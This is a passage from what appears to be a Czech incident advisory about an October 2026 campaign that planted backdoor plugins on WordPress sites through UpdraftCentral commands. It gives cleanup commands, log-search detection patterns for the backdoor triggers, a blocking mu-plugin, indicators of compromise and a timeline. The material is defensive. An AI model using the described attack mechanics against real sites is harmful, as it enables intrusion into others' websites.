nevid\u011bli.<\/p>\n<p>Pr\u00e9miov\u00fd UpdraftPlus si heslo k \u00fa\u010dtu teamupdraft.com ukl\u00e1d\u00e1 do datab\u00e1ze tak, jak ho zad\u00e1te (volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>), a sma\u017ee ho a\u017e po \u00fasp\u011b\u0161n\u00e9m ov\u011b\u0159en\u00ed tokenem. M\u016f\u017ee proto z\u016fstat v datab\u00e1zi i v jej\u00edch z\u00e1loh\u00e1ch. V praxi tam \u010dasto z\u016fstane natrvalo. Jeden \u010dten\u00e1\u0159 ho na\u0161el na v\u0161ech t\u0159ech webech s pr\u00e9miovou verz\u00ed a v z\u00e1loh\u00e1ch u\u017e od roku 2022 a ov\u011b\u0159il si, \u017ee se ulo\u017e\u00ed p\u0159i oby\u010dejn\u00e9m p\u0159ipojen\u00ed k \u00fa\u010dtu na kart\u011b Premium \/ Extensions. My jsme ho na\u0161li na jednom ze t\u0159\u00ed web\u016f. V\u00fdrobce uv\u00e1d\u00ed, \u017ee se heslo po prvn\u00edm p\u0159ipojen\u00ed sma\u017ee, k\u00f3d ho v\u0161ak ma\u017ee a\u017e po \u00fasp\u011b\u0161n\u00e9m n\u00e1rokov\u00e1n\u00ed dopl\u0148k\u016f p\u0159es token. Odstranit ho m\u016f\u017eete p\u0159\u00edkazem n\u00ed\u017ee, aktualizace pluginu ho nepot\u0159ebuj\u00ed. Potom heslo k \u00fa\u010dtu zm\u011b\u0148te. Pokud se budete v pluginu k \u00fa\u010dtu znovu p\u0159ihla\u0161ovat, od\u0161krtn\u011bte pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c. V dosud analyzovan\u00fdch vzorc\u00edch z t\u00e9to kampan\u011b jsme k\u00f3d, kter\u00fd by toto heslo \u010detl, nena\u0161li, p\u0159e\u010d\u00edst ho v\u0161ak m\u016f\u017ee ka\u017ed\u00fd funk\u010dn\u00ed backdoor nebo nahran\u00fd plugin.<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval &#39;$o = get_option(&quot;updraftplus-addons_options&quot;); if (is_array($o)) { unset($o[&quot;password&quot;]); update_option(&quot;updraftplus-addons_options&quot;, $o); }&#39;<\/code><\/pre>\n<h3 id=\"ov\u011b\u0159te-zda-na-webu-nen\u00ed-backdoor\">2. Ov\u011b\u0159te, zda na webu nen\u00ed backdoor<\/h3>\n<p>Bez p\u0159\u00edkazov\u00e9 \u0159\u00e1dky:<\/p>\n<ul>\n<li>Na stejn\u00e9 obrazovce UpdraftCentral klikn\u011bte na \u201eView recent UpdraftCentral log events\u2026\u201c. Hledejte \u0159\u00e1dky \u201eCommand received: plugin.upload_plugin\u201c, \u201eCommand received: plugin.delete_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c. Pokud je web za proxy, nap\u0159\u00edklad Cloudflare, log ukazuje IP adresu proxy, ne \u00fato\u010dn\u00edka. \u0158\u00e1dky \u201eSignature verification failed; discarding\u201c znamenaj\u00ed, \u017ee to \u00fato\u010dn\u00edk zkou\u0161el, ale jeho kl\u00ed\u010d k webu nesed\u011bl a web p\u0159\u00edkaz zahodil.<\/li>\n<li>V seznamu plugin\u016f hledejte plugin, kter\u00fd jste neinstalovali. Prvn\u00ed varianta m\u00e1 popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a n\u00e1zev ze dvou slov, v\u011bt\u0161inou se t\u0159emi znaky nav\u00edc, nap\u0159\u00edklad \u201eLoad Stack 35C\u201c nebo \u201eQuery Shelf\u201c. Dal\u0161\u00ed varianty maj\u00ed poka\u017ed\u00e9 jin\u00fd n\u00e1zev i popis, nap\u0159\u00edklad \u201eBoost Kit\u201c, \u201eCache Smith\u201c nebo \u201eSite Health 364F\u201c. N\u011bkter\u00e9 varianty se v\u0161ak ze seznamu plugin\u016f skr\u00fdvaj\u00ed, tak\u017ee pohled do n\u011bj nesta\u010d\u00ed.<\/li>\n<li>V seznamu u\u017eivatel\u016f hledejte \u00fa\u010det se jm\u00e9nem \u201eSite Tools\u201c nebo s e-mailem na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> \u010di <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code>. Funk\u010dn\u00ed varianta vytv\u00e1\u0159\u00ed administr\u00e1tora, kter\u00e9ho se sna\u017e\u00ed skr\u00fdt, ale v seznamu se zobraz\u00ed norm\u00e1ln\u011b.<\/li>\n<li>Pokud backdoor p\u0159ihl\u00e1s\u00ed \u00fato\u010dn\u00edka jako existuj\u00edc\u00edho administr\u00e1tora, \u017e\u00e1dn\u00fd \u00fa\u010det nevytvo\u0159\u00ed. Pak ho prozrad\u00ed jen plugin a access log, proto web zkontrolujte i skriptem a pod\u00edvejte se do access logu.<\/li>\n<\/ul>\n<p>Pokud je na webu prvn\u00ed varianta backdooru, administrace nemus\u00ed fungovat, proto\u017ee plugin shazuje ka\u017ed\u00fd po\u017eadavek. Pak pou\u017eijte p\u0159\u00edkazovou \u0159\u00e1dku.<\/p>\n<p>S p\u0159\u00edkazovou \u0159\u00e1dkou ulo\u017ete n\u00e1\u0161 kontroln\u00ed skript z konce \u010dl\u00e1nku jako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> do ko\u0159enov\u00e9ho adres\u00e1\u0159e WordPressu a spus\u0165te:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>Skript nic nem\u011bn\u00ed, jen \u010dte. P\u0159ep\u00edna\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> je d\u016fle\u017eit\u00fd, proto\u017ee nainstalovan\u00fd backdoor by jinak shodil i WP-CLI. \u0158\u00e1dky <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> znamenaj\u00ed stopy \u00fatoku, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> v\u011bc ke kontrole a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> \u010dist\u00fd v\u00fdsledek. Z\u00e1znam o p\u0159ijat\u00e9m p\u0159\u00edkazu je\u0161t\u011b neznamen\u00e1, \u017ee se plugin nainstaloval (na jednom z na\u0161ich web\u016f nepro\u0161el), proto skript kontroluje i soubory, volby v datab\u00e1zi a \u00fa\u010dty. Pokud najde cokoli s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, pokra\u010dujte \u010d\u00e1st\u00ed \u201eCo d\u011blat, kdy\u017e ho najdete\u201c.<\/p>\n<p>UpdraftPlus si v logu UpdraftCentral pamatuje jen posledn\u00edch 50 ud\u00e1lost\u00ed. Na webu, kam \u010dasto chod\u00ed skenery, m\u016f\u017ee z\u00e1znam o \u00fatoku z logu vypadnout a skript pak u logu hl\u00e1s\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code>. Pokud m\u00e1te p\u0159\u00edstup k log\u016fm webov\u00e9ho serveru, prohledejte i je (cestu upravte podle serveru, u nginx nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>P\u0159\u00edkaz najde po\u017eadavky UpdraftCentral bez verze knihovny v hlavi\u010dce User-Agent, jak\u00e9 pos\u00edlal \u00fato\u010dn\u00edk. Skute\u010dn\u00fd dashboard pos\u00edl\u00e1 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho p\u0159\u00edkaz nezachyt\u00ed.<\/p>\n<p>Funk\u010dn\u00ed varianta backdooru nemus\u00ed v datab\u00e1zi zanechat \u017e\u00e1dnou stopu: bez parametru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> p\u0159ihl\u00e1s\u00ed \u00fato\u010dn\u00edka jako existuj\u00edc\u00edho administr\u00e1tora. V access logu proto hledejte i po\u017eadavky na spou\u0161t\u011b\u010de obou variant:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">zgrep -E &#39;[?&amp;](_[0-9a-f]{6}|[0-9a-f]{12})=[^&amp;&quot; ]{32}[&amp; ]&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Ka\u017ed\u00fd nalezen\u00fd \u0159\u00e1dek prov\u011b\u0159te. Stav 302 znamen\u00e1 p\u0159esm\u011brov\u00e1n\u00ed do administrace, tedy pravd\u011bpodobn\u011b \u00fasp\u011b\u0161n\u00e9 p\u0159ihl\u00e1\u0161en\u00ed \u00fato\u010dn\u00edka. Stav 500 znamen\u00e1, \u017ee na webu je je\u0161t\u011b nefunk\u010dn\u00ed varianta. Stav 200 s b\u011b\u017enou velikost\u00ed str\u00e1nky znamen\u00e1, \u017ee backdoor na webu u\u017e nen\u00ed. P\u0159\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">zgrep<\/code> prohled\u00e1 i star\u0161\u00ed komprimovan\u00e9 logy.<\/p>\n<h3 id=\"voliteln\u011b-zablokujte-p\u0159\u00edkazy-updraftcentral-\u00fapln\u011b\">3. Voliteln\u011b: zablokujte p\u0159\u00edkazy UpdraftCentral \u00fapln\u011b<\/h3>\n<p>Pokud chcete m\u00edt jistotu, \u017ee web neprovede \u017e\u00e1dn\u00fd p\u0159\u00edkaz UpdraftCentral ani tehdy, kdyby na n\u011bm z\u016fstal kl\u00ed\u010d, ulo\u017ete do adres\u00e1\u0159e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> soubor <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> s t\u00edmto obsahem:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\n<p>Soubory v <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> WordPress na\u010d\u00edt\u00e1 p\u0159ed b\u011b\u017en\u00fdmi pluginy, tak\u017ee se po\u017eadavek zastav\u00ed d\u0159\u00edv, ne\u017e ho UpdraftPlus zpracuje. Blokuje i migraci web\u016f p\u0159es UpdraftPlus Migrator, kter\u00e1 pou\u017e\u00edv\u00e1 stejn\u00fd kan\u00e1l. A\u017e v\u00fdrobce probl\u00e9m vysv\u011btl\u00ed a vy\u0159e\u0161\u00ed, soubor sma\u017ete.<\/p>\n<p>Dal\u0161\u00ed levn\u00e1 ochrana: pokud PHP nem\u016f\u017ee zapisovat do <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins<\/code> (nap\u0159\u00edklad jin\u00fd vlastn\u00edk adres\u00e1\u0159e a pr\u00e1va 750), web podepsan\u00fd p\u0159\u00edkaz sice p\u0159ijme, ale instalace pluginu sel\u017ee. Na jednom z napaden\u00fdch web\u016f to \u00fatok zastavilo. Pluginy pak je t\u0159eba aktualizovat jinak, nap\u0159\u00edklad p\u0159es WP-CLI pod vlastn\u00edkem adres\u00e1\u0159e.<\/p>\n<p>Pokud pou\u017e\u00edv\u00e1te Wordfence, obnovte pravidla firewallu (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence vydal pravidlo, kter\u00e9 blokuje p\u0159\u00edkazy UpdraftCentral, i pro bezplatnou verzi. Pravidlo v\u0161ak plat\u00ed jen pro UpdraftPlus do 1.26.11 a p\u0159ed 2.26.12, tak\u017ee web aktualizovan\u00fd na 1.26.12 \/ 2.26.12 u\u017e nechr\u00e1n\u00ed, p\u0159esto\u017ee tyto verze kl\u00ed\u010de nesma\u017eou. Aktualizujte proto rovnou na 1.26.13 \/ 2.26.13.<\/p>\n<h2 id=\"jak-jsme-na-to-p\u0159i\u0161li\">Jak jsme na to p\u0159i\u0161li<\/h2>\n<p>V 5:38 n\u00e1m p\u0159i\u0161el automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s takov\u00fdm n\u00e1zvem jsme nikdy neinstalovali. Chybov\u00e1 zpr\u00e1va zn\u011bla <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracel na ka\u017ed\u00fd po\u017eadavek chybu 500.<\/p>\n<p>V\u0161echny soubory v adres\u00e1\u0159i <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> m\u011bly stejn\u00fd \u010das z\u00e1pisu, 4:14:30. O sekundu pozd\u011bji se zm\u011bnil adres\u00e1\u0159 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, kter\u00fd WordPress pou\u017e\u00edv\u00e1 p\u0159i rozbalov\u00e1n\u00ed instalovan\u00fdch plugin\u016f. Plugin tedy p\u0159i\u0161el p\u0159es standardn\u00ed instal\u00e1tor WordPressu, ne nahr\u00e1n\u00edm souboru na disk. V access logu p\u0159esn\u011b v t\u00e9 sekund\u011b stoj\u00ed jedin\u00fd po\u017eadavek:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> je knihovna, p\u0159es kterou UpdraftPlus p\u0159ij\u00edm\u00e1 p\u0159\u00edkazy z UpdraftCentral. Jej\u00ed vlastn\u00ed log (volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code> v datab\u00e1zi) to potvrdil: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"\u010dasov\u00e1-osa\">\u010casov\u00e1 osa<\/h2>\n<p>Weby ozna\u010dujeme A, B a C. V\u0161echny \u010dasy jsou v SEL\u010c. V\u0161echny po\u017eadavky p\u0159i\u0161ly z <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (poskytovatel RedSwitches) s hlavi\u010dkou User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Web<\/th>\n<th>Sonda<\/th>\n<th>Instalace pluginu<\/th>\n<th>V\u00fdsledek<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Web C<\/td>\n<td>19. 10. 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>selhala, kl\u00ed\u010d pat\u0159il u\u017eivateli bez pr\u00e1va instalovat pluginy<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Web A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>backdoor \u201eLoad Stack 35C\u201c aktivn\u00ed, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Web B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>backdoor \u201eText Gantry Eb0\u201c aktivn\u00ed, odstran\u011bn v 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Sonda je zpr\u00e1va adresovan\u00e1 neexistuj\u00edc\u00edmu kl\u00ed\u010di <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. Web na ni odpov\u00ed, \u017ee zpr\u00e1v\u011b nerozum\u00ed, a t\u00edm prozrad\u00ed, \u017ee p\u0159ij\u00edm\u00e1 p\u0159\u00edkazy UpdraftCentral. Dal\u0161\u00ed p\u0159\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skute\u010dn\u00fd kl\u00ed\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. Na v\u0161ech t\u0159ech webech prob\u011bhl \u00fatok stejn\u011b, od stejn\u00e9ho \u00fato\u010dn\u00edka, s odstupem n\u011bkolika hodin.<\/p>\n<p>Jin\u00fd spr\u00e1vce n\u00e1m poslal z\u00e1znamy, podle kter\u00fdch stejn\u00e1 IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> zkou\u0161ela na dvou z jeho web\u016f u\u017e 23. z\u00e1\u0159\u00ed 2026 jin\u00e9 \u00fatoky: dotaz na REST API se seznamem str\u00e1nek a asi deset pokus\u016f o path traversal v parametru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pagename<\/code>. \u00dato\u010dn\u00edk tedy tyto weby zkoumal t\u00e9m\u011b\u0159 m\u011bs\u00edc p\u0159ed \u00fatokem p\u0159es UpdraftCentral.<\/p>\n<p>\u00dato\u010dn\u00edk se k web\u016fm vracel. 19. \u0159\u00edjna poslal dal\u0161\u00ed po\u017eadavky UpdraftCentral na web A v 10:57:48, na web B v 11:14:19 a na web C ve 12:03:14, v\u017edy dva ve stejn\u00e9 sekund\u011b, a na web C je\u0161t\u011b jeden ve 20:27:50. V\u0161echny u\u017e zastavil n\u00e1\u0161 mu-plugin s odpov\u011bd\u00ed 403, tak\u017ee nev\u00edme, co obsahovaly. Jin\u00fd spr\u00e1vce n\u00e1m poslal log UpdraftCentral, podle kter\u00e9ho \u00fato\u010dn\u00edk ve 12:22:48 poslal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> a ve 12:22:50 nov\u00fd <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, \u010d\u00edm\u017e nefunk\u010dn\u00ed backdoor nahradil jin\u00fdm. Na\u0161e dvojice po\u017eadavk\u016f pravd\u011bpodobn\u011b pat\u0159\u00ed ke stejn\u00e9 v\u00fdm\u011bn\u011b. UpdraftPlus zap\u00ed\u0161e ka\u017ed\u00fd p\u0159\u00edkaz, kter\u00fd projde ov\u011b\u0159en\u00edm podpisu, do logu UpdraftCentral jako \u201eCommand received\u201c je\u0161t\u011b p\u0159ed proveden\u00edm (ov\u011b\u0159ili jsme v k\u00f3du verze 2.26.11). Log ale dr\u017e\u00ed jen posledn\u00edch 50 ud\u00e1lost\u00ed a po\u017eadavky zastaven\u00e9 mu-pluginem v n\u011bm nejsou.<\/p>\n<p>Na webu dal\u0161\u00edho spr\u00e1vce poslal \u00fato\u010dn\u00edk sondu 18. 10. ve 23:10:30 SEL\u010c a pak nahr\u00e1l t\u0159i r\u016fzn\u00e9 backdoory: ve 23:39:52 minim\u00e1ln\u00ed skryt\u00fd \u201eSite Health Cache\u201c, v 0:34:34 funk\u010dn\u00ed \u201eFast2engine\u201c a 19. 10. v 9:28:47 nefunk\u010dn\u00ed \u201ePost Dock 776\u201c. Dvojice po\u017eadavk\u016f v 11:40:45 a 11:40:46 tam skon\u010dila chybou 500, proto\u017ee nefunk\u010dn\u00ed backdoor u\u017e shazoval cel\u00fd web. \u00dato\u010dn\u00edk tedy nepos\u00edl\u00e1 v\u017edy nejprve nefunk\u010dn\u00ed variantu a na jeden web jich m\u016f\u017ee nahr\u00e1t v\u00edc.<\/p>\n<h2 id=\"jak-\u00fatok-prob\u011bhl\">Jak \u00fatok prob\u011bhl<\/h2>\n<p>P\u0159i p\u0159ipojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r kl\u00ed\u010d\u016f RSA a ve\u0159ejn\u00fd kl\u00ed\u010d po\u0161le slu\u017eb\u011b UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00ed p\u00e1r kl\u00ed\u010d\u016f a webu po\u0161le jen sv\u016fj ve\u0159ejn\u00fd kl\u00ed\u010d. Soukrom\u00fd kl\u00ed\u010d dashboardu z\u016fst\u00e1v\u00e1 u slu\u017eby. Ka\u017ed\u00fd p\u0159\u00edkaz mus\u00ed b\u00fdt za\u0161ifrovan\u00fd pro kl\u00ed\u010d webu a podepsan\u00fd soukrom\u00fdm kl\u00ed\u010dem dashboardu. Web ho pak provede s pr\u00e1vy u\u017eivatele, kter\u00fd kl\u00ed\u010d ve WordPressu vytvo\u0159il.<\/p>\n<p>P\u0159\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> pro\u0161el na dvou webech celou touto kontrolou. Podrobn\u011b jsme to rozebrali na webu A a vylou\u010dili jsme tato vysv\u011btlen\u00ed:<\/p>\n<ol type=\"1\">\n<li><strong>Zn\u00e1m\u00e1 zranitelnost CVE-2026-10795.<\/strong> T\u00fdk\u00e1 se verz\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby m\u011bly 2.26.11. Pokusy o jej\u00ed zneu\u017eit\u00ed vid\u00edme na webech B a C v loz\u00edch od \u010dervna z des\u00edtek IP adres a v\u0161echny skon\u010dily hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n<li><strong>Upraven\u00fd plugin.<\/strong> Soubory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em 